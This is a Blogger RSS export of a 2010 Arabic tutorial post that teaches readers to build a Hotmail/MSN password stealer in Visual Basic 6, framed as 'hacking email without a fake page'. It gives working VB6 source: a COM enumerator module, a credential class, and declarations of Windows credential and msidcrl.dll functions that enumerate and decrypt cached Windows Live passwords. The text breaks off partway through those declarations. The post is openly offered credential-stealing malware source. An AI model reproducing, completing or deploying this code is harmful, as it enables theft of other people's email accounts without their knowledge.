<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:gd="http://schemas.google.com/g/2005" xmlns:georss="http://www.georss.org/georss" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-3988438835518841677</atom:id><lastBuildDate>Fri, 01 Nov 2024 07:44:44 +0000</lastBuildDate><title>مدونة أمين التقنية</title><description></description><link>http://amine-tech.blogspot.com/</link><managingEditor>noreply@blogger.com (Amine)</managingEditor><generator>Blogger</generator><openSearch:totalResults>2</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><language>en-us</language><itunes:explicit>no</itunes:explicit><itunes:subtitle/><itunes:owner><itunes:email>noreply@blogger.com</itunes:email></itunes:owner><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3988438835518841677.post-6438757552431433375</guid><pubDate>Sun, 06 Jun 2010 15:33:00 +0000</pubDate><atom:updated>2010-06-06T08:48:08.830-07:00</atom:updated><title>إختراق الأيميل بدون صفحة مزورة  "حصريا"</title><description>&lt;div dir="rtl" style="text-align: right;" trbidi="on"&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;بسم الله نبدأ درسنا اليوم بحيث سوف نقوم&lt;a href="http://amine-tech.blogspot.com/2010/06/blog-post.html"&gt; ببرمجة سارق كلمات سر&lt;/a&gt; &lt;a href="http://amine-tech.blogspot.com/2010/06/blog-post.html"&gt;الهوتميل&lt;/a&gt; وسنضع له خاصية رائعة و برأيي هي الأحسن من ناحية &lt;a href="http://amine-tech.blogspot.com/2010/06/blog-post.html"&gt;التبليغ&lt;/a&gt; لأنه يلغي مرحلة مملة وهي فتح النو إبي و &lt;a href="http://amine-tech.blogspot.com/2010/06/blog-post.html"&gt;فتح بورت&lt;/a&gt; أو خاصية الأفتب كلها متعبة وهذه الأسهل برأيي لذا نبدء بعون الله &lt;br /&gt;
قم بفتح مشروع جديد في &lt;a href="http://amine-tech.blogspot.com/2010/06/blog-post.html"&gt;الفيجوال بيسك 6 &lt;/a&gt;و قم بإدراج الأدوات التالية&lt;br /&gt;
3أدوات تكست 2صغيرتين في العرض و طويلتين الطول هههههه&lt;br /&gt;
الأولى لعنوان الرسالة و الثاني للأيميل المرسل إليه و الثالت لمحتوى الرسالة&lt;br /&gt;
وأضف WebBrowser&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLuHcqG3PbL9d0tAHyHXo0eR1ecMPX83R9zzVwV3jZrY1-Yx25RuRGDBRRadINZUTsTHdcQtq499hcyyfZG4ZT_fGC4DGJ4YXKSqcIUE_0f5OdK8qxehaInJndPBXci48QcX_fEYguTB4/s1600/K0.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLuHcqG3PbL9d0tAHyHXo0eR1ecMPX83R9zzVwV3jZrY1-Yx25RuRGDBRRadINZUTsTHdcQtq499hcyyfZG4ZT_fGC4DGJ4YXKSqcIUE_0f5OdK8qxehaInJndPBXci48QcX_fEYguTB4/s400/K0.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
ثم أضف موديل جديد و أكتب الكود التالي:&lt;br /&gt;
&lt;br /&gt;
Option Explicit&lt;br /&gt;
Private Type guid&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Data1 As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Data2 As Integer&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Data3 As Integer&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Data4(0 To 7) As Byte&lt;br /&gt;
End Type&lt;br /&gt;
Private Const E_NOINTERFACE As Long = &amp;amp;H80004002&lt;br /&gt;
Private Const E_NOTIMPL As Long = &amp;amp;H80004001&lt;br /&gt;
Private Const guidIEnumVARIANT As String = "{00020404-0000-0000-C000-000000000046}"&lt;br /&gt;
Private m_guidIEnumVARIANT As guid&lt;br /&gt;
Private Type VTable&lt;br /&gt;
Methods(0 To 6) As Long&lt;br /&gt;
End Type&lt;br /&gt;
Private m_pVTable As Long&lt;br /&gt;
Private m_VTable As VTable&lt;br /&gt;
Private Type EnumVar&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; pVTable As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; cCount As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpCollection As Object&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; iCurrent As Long&lt;br /&gt;
End Type&lt;br /&gt;
Private Declare Sub ZeroMemory Lib "kernel32.dll" Alias "RtlZeroMemory" (ByRef Destination As Any, ByVal Length As Long)&lt;br /&gt;
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)&lt;br /&gt;
Private Declare Function CoTaskMemAlloc Lib "ole32.dll" (ByVal cb As Long) As Long&lt;br /&gt;
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByRef pv As Any)&lt;br /&gt;
Private Declare Sub CLSIDFromString Lib "ole32.dll" (ByVal lpsz As Long, ByRef pclsid As guid)&lt;br /&gt;
Private Function IsIIDEqual(guid1 As guid, guid2 As guid) As Boolean&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; IsIIDEqual = ((guid1.Data1 = guid2.Data1) And (guid1.Data2 = guid2.Data2) And _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (guid1.Data3 = guid2.Data3) And (guid1.Data4(0) = guid2.Data4(0)) And (guid1.Data4(1) = guid2.Data4(1)) And _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (guid1.Data4(2) = guid2.Data4(2)) And (guid1.Data4(3) = guid2.Data4(3)) And _&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (guid1.Data4(4) = guid2.Data4(4)) And (guid1.Data4(5) = guid2.Data4(5)) And (guid1.Data4(6) = guid2.Data4(6)) And (guid1.Data4(7) = guid2.Data4(7)))&lt;br /&gt;
End Function&lt;br /&gt;
Public Function FuncPtr(ByVal addr As Long) As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; FuncPtr = addr&lt;br /&gt;
End Function&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Public Function InitCollection(ByVal objCallback As Object) As IEnumVARIANT&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim ptrCollection As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim Collection As EnumVar&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If m_pVTable = 0 Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; With m_VTable&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .Methods(0) = FuncPtr(AddressOf QueryInterface)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .Methods(1) = FuncPtr(AddressOf AddRef)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .Methods(2) = FuncPtr(AddressOf Release)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .Methods(3) = FuncPtr(AddressOf IEnumVARIANT_Next)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .Methods(4) = FuncPtr(AddressOf IEnumVARIANT_Skip)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .Methods(5) = FuncPtr(AddressOf IEnumVARIANT_Reset)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .Methods(6) = FuncPtr(AddressOf IEnumVARIANT_Clone)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; End With&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_pVTable = VarPtr(m_VTable)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CLSIDFromString ByVal StrPtr(guidIEnumVARIANT), m_guidIEnumVARIANT&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; With Collection&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .pVTable = m_pVTable&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .cCount = 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Set .lpCollection = objCallback&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End With&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ptrCollection = CoTaskMemAlloc(LenB(Collection))&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If ptrCollection Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CopyMemory ByVal ptrCollection, ByVal VarPtr(Collection), LenB(Collection)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; CopyMemory ByVal VarPtr(InitCollection), ptrCollection, 4&amp;amp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ZeroMemory ByVal VarPtr(Collection), LenB(Collection)&lt;br /&gt;
End Function&lt;br /&gt;
Private Function QueryInterface(ByRef This As EnumVar, ByRef iid As guid, ByRef ppvObject As Long) As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If IsIIDEqual(m_guidIEnumVARIANT, iid) Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This.cCount = This.cCount + 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ppvObject = VarPtr(This)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; QueryInterface = 0&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Else&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ppvObject = 0&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; QueryInterface = E_NOINTERFACE&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
End Function&lt;br /&gt;
Private Function AddRef(ByRef This As EnumVar) As Long&lt;br /&gt;
This.cCount = This.cCount + 1&lt;br /&gt;
AddRef = This.cCount&lt;br /&gt;
End Function&lt;br /&gt;
Private Function Release(ByRef This As EnumVar) As Long&lt;br /&gt;
This.cCount = This.cCount - 1&lt;br /&gt;
Release = This.cCount&lt;br /&gt;
If This.cCount = 0 Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Set This.lpCollection = Nothing&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; CoTaskMemFree ByVal VarPtr(This)&lt;br /&gt;
End If&lt;br /&gt;
End Function&lt;br /&gt;
Private Function IEnumVARIANT_Next(ByRef This As EnumVar, ByVal celt As Long, ByRef rgVar As Variant, ByVal pCeltFetched As Long) As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Dim lng As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If celt &amp;lt;&amp;gt; 1 Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IEnumVARIANT_Next = E_NOTIMPL&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exit Function&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; If pCeltFetched Then&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lng = 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CopyMemory ByVal pCeltFetched, lng, 4&amp;amp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; End If&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; IEnumVARIANT_Next = This.lpCollection.ForEach(This.iCurrent, rgVar)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This.iCurrent = This.iCurrent + 1&lt;br /&gt;
End Function&lt;br /&gt;
Private Function IEnumVARIANT_Clone(ByRef This As EnumVar, ByRef ppEnum As Long) As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ppEnum = CoTaskMemAlloc(LenB(This))&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; CopyMemory ByVal ppEnum, This, LenB(This)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; IEnumVARIANT_Clone = 0&lt;br /&gt;
End Function&lt;br /&gt;
Private Function IEnumVARIANT_Reset(ByRef This As EnumVar)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This.iCurrent = 0&lt;br /&gt;
End Function&lt;br /&gt;
Private Function IEnumVARIANT_Skip(ByRef This As EnumVar, ByVal celt As Long) As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This.iCurrent = This.iCurrent + celt&lt;br /&gt;
&amp;nbsp;&amp;nbsp; End Function&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-PeHOF1DEZN1-eCMDxkJMCdhxv2rgjc41nX94K43MucZ22NBna4bc3_pf9Ynx5dcAlJta8ydKHJDzLMLwDpXfs8GA9F_ky5454_liwGU7oHzuvjk9w4XZx25Kp7YqFUC6xTwMHaKu2X0/s1600/K1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-PeHOF1DEZN1-eCMDxkJMCdhxv2rgjc41nX94K43MucZ22NBna4bc3_pf9Ynx5dcAlJta8ydKHJDzLMLwDpXfs8GA9F_ky5454_liwGU7oHzuvjk9w4XZx25Kp7YqFUC6xTwMHaKu2X0/s400/K1.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;مع العلم تسمية المديل الإسم التالي و تكون التسمية داخل المشروع&amp;nbsp; kaynak&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;ثم قم بفتح كلاس موديل الأول وقم بكتابة الكود التالي مع العلم قم بتسمية الكلاس موديل &lt;br /&gt;
msnpwd&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN0z2H70ouROgwQW-zcdyy2J4wPQ_45cyAZS79I51Aep1CcFVQ_-vCEYt047O-bjBt7yF_5a3s_n94dGV2JZqhPMGxAojuI8qGeRBx_9OuS40b1Tsq1UddxRN9yvXUcvtg_PEGlZm52Qw/s1600/K2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN0z2H70ouROgwQW-zcdyy2J4wPQ_45cyAZS79I51Aep1CcFVQ_-vCEYt047O-bjBt7yF_5a3s_n94dGV2JZqhPMGxAojuI8qGeRBx_9OuS40b1Tsq1UddxRN9yvXUcvtg_PEGlZm52Qw/s400/K2.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Option Explicit&lt;br /&gt;
Private m_kullaniciadi As String&lt;br /&gt;
Private m_sifre As String&lt;br /&gt;
Private m_sürümadi As String&lt;br /&gt;
Friend Sub Init(kullaniciadi As String, sifre As String, sürümadi As String)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; m_sifre = sifre&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; m_kullaniciadi = kullaniciadi&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; m_sürümadi = sürümadi&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
Public Property Get Password() As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Password = m_sifre&lt;br /&gt;
End Property&lt;br /&gt;
&lt;br /&gt;
Public Property Get Login() As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Login = m_kullaniciadi&lt;br /&gt;
End Property&lt;br /&gt;
&lt;br /&gt;
Public Property Get TargetName() As String&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; TargetName = m_sürümadi&lt;br /&gt;
End Property&lt;br /&gt;
&lt;br /&gt;
ثم إضافة كلاس موديل الثاني و قم بكتابة الكود الثالي &lt;br /&gt;
&lt;br /&gt;
Option Explicit&lt;br /&gt;
Private Enum CRED_TYPE&lt;br /&gt;
GENERIC = 1&lt;br /&gt;
DOMAIN_PASSWORD&lt;br /&gt;
DOMAIN_CERTIFICATE&lt;br /&gt;
DOMAIN_VISIBLE_PASSWORD&lt;br /&gt;
MAXIMUM&lt;br /&gt;
End Enum&lt;br /&gt;
Private Const ERROR_SUCCESS As Long = 0&amp;amp;&lt;br /&gt;
Private Const HKEY_CURRENT_USER As Long = &amp;amp;H80000001&lt;br /&gt;
Private Const READ_CONTROL As Long = &amp;amp;H20000&lt;br /&gt;
Private Const STANDARD_RIGHTS_READ As Long = (READ_CONTROL)&lt;br /&gt;
Private Const KEY_QUERY_VALUE As Long = &amp;amp;H1&lt;br /&gt;
Private Const KEY_ENUMERATE_SUB_KEYS As Long = &amp;amp;H8&lt;br /&gt;
Private Const KEY_NOTIFY As Long = &amp;amp;H10&lt;br /&gt;
Private Const SYNCHRONIZE As Long = &amp;amp;H100000&lt;br /&gt;
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)&lt;br /&gt;
Private Const KEY_SET_VALUE As Long = &amp;amp;H2&lt;br /&gt;
Private Const KEY_CREATE_SUB_KEY As Long = &amp;amp;H4&lt;br /&gt;
Private Const KEY_READ As Long = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))&lt;br /&gt;
Private Const KEY_WRITE As Long = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))&lt;br /&gt;
Private Type DATA_BLOB&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; cbData As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; pbData As Long&lt;br /&gt;
End Type&lt;br /&gt;
Private Type FILETIME&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwLowDateTime As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwHighDateTime As Long&lt;br /&gt;
End Type&lt;br /&gt;
Private Type CREDENTIAL_ATTRIBUTE&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpstrKeyword As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwFlags As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwValueSize As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpbValue As Long&lt;br /&gt;
End Type&lt;br /&gt;
Private Type CREDENTIAL&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwFlags As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwType As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpstrTargetName As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpstrComment As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ftLastWritten As FILETIME&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwCredentialBlobSize As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpbCredentialBlob As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwPersist As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dwAttributeCount As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpAttributes As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpstrTargetAlias As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; lpUserName As Long&lt;br /&gt;
End Type&lt;br /&gt;
Private Declare Function lstrlen Lib "kernel32.dll" Alias "lstrlenA" (ByVal lpString As String) As Long&lt;br /&gt;
Private Declare Function CredEnumerate Lib "ADVAPI32.dll" Alias "CredEnumerateW" ( _&lt;br /&gt;
&amp;nbsp; ByVal lpszFilter As Long, _&lt;br /&gt;
&amp;nbsp; ByVal lFlags As Long, _&lt;br /&gt;
&amp;nbsp; ByRef pCount As Long, _&lt;br /&gt;
&amp;nbsp; ByRef lppCredentials As Long) As Long&lt;br /&gt;
Private Declare Function CredDelete Lib "ADVAPI32.dll" Alias "CredDeleteW" ( _&lt;br /&gt;
&amp;nbsp; ByVal lpwstrTargetName As Long, _&lt;br /&gt;
&amp;nbsp; ByVal dwType As Long, _&lt;br /&gt;
&amp;nbsp; ByVal dwFlags As Long) As Long&lt;br /&gt;
Private Declare Function CredFree Lib "ADVAPI32.dll" (ByVal pBuffer As Long) As Long&lt;br /&gt;
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long&lt;br /&gt;
Private Declare Function RegOpenKeyEx Lib "ADVAPI32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long&lt;br /&gt;
Private Declare Function RegQueryValueEx Lib "ADVAPI32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByRef lpData As Any, ByRef lpcbData As Long) As Long&lt;br /&gt;
Private Declare Function RegDeleteValue Lib "ADVAPI32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long&lt;br /&gt;
Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long&lt;br /&gt;
Private Declare Function RegCloseKey Lib "ADVAPI32.dll" (ByVal hKey As Long) As Long&lt;br /&gt;
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)&lt;br /&gt;
Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Long) As String&lt;br /&gt;
Private Const LMEM_FIXED As Long = &amp;amp;H0&lt;br /&gt;
Private Const LMEM_ZEROINIT As Long = &amp;amp;H40&lt;br /&gt;
Private Const LPTR As Long = (LMEM_FIXED + LMEM_ZEROINIT)&lt;br /&gt;
Private Declare Function LocalAlloc Lib "kernel32.dll" (ByVal wFlags As Long, ByVal wBytes As Long) As Long&lt;br /&gt;
Private Const CSIDL_PROGRAM_FILES As Long = &amp;amp;H26&lt;br /&gt;
Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" _&lt;br /&gt;
(ByVal hwndOwner As Long, ByVal nFolder As Long, _&lt;br /&gt;
&amp;nbsp;pidl As Long) As Long&lt;br /&gt;
Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" _&lt;br /&gt;
(ByVal pidl As Long, ByVal pszPath As String) As Long&lt;br /&gt;
&lt;br /&gt;
Private Type UUID&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Data1 As Long&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Data2 As Integer&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Data3 As Integer&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Data4(7) As Byte&lt;br /&gt;
End Type&lt;br /&gt;
Private Declare Function Initialize Lib "msidcrl.dll" (ByRef guid As UUID, ByVal IDCRLVersion As Long, ByVal dwFlags As Long) As Long&lt;br /&gt;
Private Declare Function EnumIdentitiesWithCachedCredentials Lib "msidcrl.dll" (ByVal wszCachedCredType As Long, ByRef phEnumHandle As Long) As Long&lt;br /&gt;
Private Declare Function NextIdentity Lib "msidcrl.dll" (ByVal hEnumHandle As Long, ByRef lpwszMemberName As Long) As Long&lt;br /&gt;
Private Declare Function PassportFreeMemory Lib "msidcrl.dll" (ByVal ptr As Long) As Long&lt;br /&gt;
Private Declare Function CloseEnumIdentitiesHandle Lib "msidcrl.dll" (ByVal hEnumHandle As Long) As Long&lt;br /&gt;
Private Declare Function CreateIdentityHandle Lib "msidcrl.dll" (ByVal wszMemberName As Long, ByVal dwFlags As Long, ByRef lphExternalIdentity As Long) As Long&lt;br /&gt;
Private Declare Function HasPersistedCredential Lib "msidcrl.dll" (ByVal hExternalIdentity As Long, ByVal wszCredType As Long, ByRef lpbPersisted As Long) As Long&lt;br /&gt;
Private Declare Function RemovePersistedCredential Lib "msidcrl.dll" (ByVal hExternalIdentity As Long, ByVal wszCredType As Long) As Long&lt;br /&gt;
Private Declare Function GetIdentityPropertyByName Lib "msidcrl.dll" (ByVal hExternalIdentity As Long, ByVal wszPropertyName As Long, ByRef lpszValue As Long) As Long&lt;br /&gt;
